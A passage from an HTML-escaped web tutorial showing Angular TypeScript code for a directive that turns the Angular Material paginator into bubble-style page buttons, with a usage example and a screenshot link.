      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;paginator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paginator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;paginator&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this simple configuration, your table looks as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F292r6kddxw3hnmphk5sf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F292r6kddxw3hnmphk5sf.png" alt="Basic Table Basic Pagination"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What we want to achieve is creating a directive that we can attach to the &lt;code&gt;mat-paginator&lt;/code&gt; and it will transform the look of our paginated table into the bubble example. The usage of the directive will be the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;mat-paginator&lt;/span&gt;
  &lt;span class="na"&gt;[appBubblePagination]=&lt;/span&gt;&lt;span class="s"&gt;"dataSource.data.length"&lt;/span&gt;
  &lt;span class="na"&gt;(page)=&lt;/span&gt;&lt;span class="s"&gt;"onPageChange($event)"&lt;/span&gt;
  &lt;span class="na"&gt;[length]=&lt;/span&gt;&lt;span class="s"&gt;"dataSource.data.length"&lt;/span&gt;
  &lt;span class="na"&gt;[pageSize]=&lt;/span&gt;&lt;span class="s"&gt;"15"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/mat-paginator&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the full code of the directive and below I describe some of its sections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;untracked&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MatPaginator&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/material/paginator&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Works from angular-material version 15. since all classes got the new prefix 'mdc-'
 */&lt;/span&gt;
&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Directive&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[appBubblePagination]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BubblePaginationDirective&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;matPag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MatPaginator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;elementRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;ren&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * whether we want to display first/last button and dots
   */&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;showFirstButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;showLastButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * total number of items in pagination
   * needed to calculate how many buttons to render
   * when page size changes
   */&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;paginationSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;appBubblePagination&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * how many buttons to display before and after
   * the selected button
   */&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;renderButtonsNumber&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * references to DOM elements
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;dotsEndRef&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;dotsStartRef&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * ref to rendered buttons on UI that we can remove them size changes
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;buildButtonsEffect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// rebuild buttons when pagination size change&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;paginationSize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nf"&gt;untracked&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// remove buttons before creating new ones&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeButtons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="c1"&gt;// set some default styles to mat pagination&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;styleDefaultPagination&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="c1"&gt;// create bubble container&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createBubbleDivRef&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="c1"&gt;// create all buttons&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;buildButtons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="c1"&gt;// switch back to page 0&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * change the active button style to the current one and display/hide additional buttons
   * based on the navigated index
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;changeActiveButtonStyles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previousIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;newIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;previouslyActive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;previousIndex&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;currentActive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;newIndex&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;previouslyActive&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;currentActive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// remove active style from previously active button&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previouslyActive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previouslyActive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;g-bubble__active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// add active style to new active button&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentActive&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;g-bubble__active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// hide all buttons&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="c1"&gt;// show N previous buttons and X next buttons&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;renderElements&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderButtonsNumber&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;endDots&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;renderElements&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;startDots&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newIndex&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;renderElements&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;firstButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lastButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="c1"&gt;// last bubble and dots&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showLastButton&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsEndRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;endDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;block&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lastButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;endDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;flex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// first bubble and dots&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showFirstButton&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsStartRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;startDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;block&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;firstButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;startDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;flex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// resolve starting and ending index to show buttons&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;startingIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;startDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;newIndex&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;renderElements&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;endingIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;endDots&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;newIndex&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;renderElements&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// display starting buttons&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;startingIndex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;endingIndex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
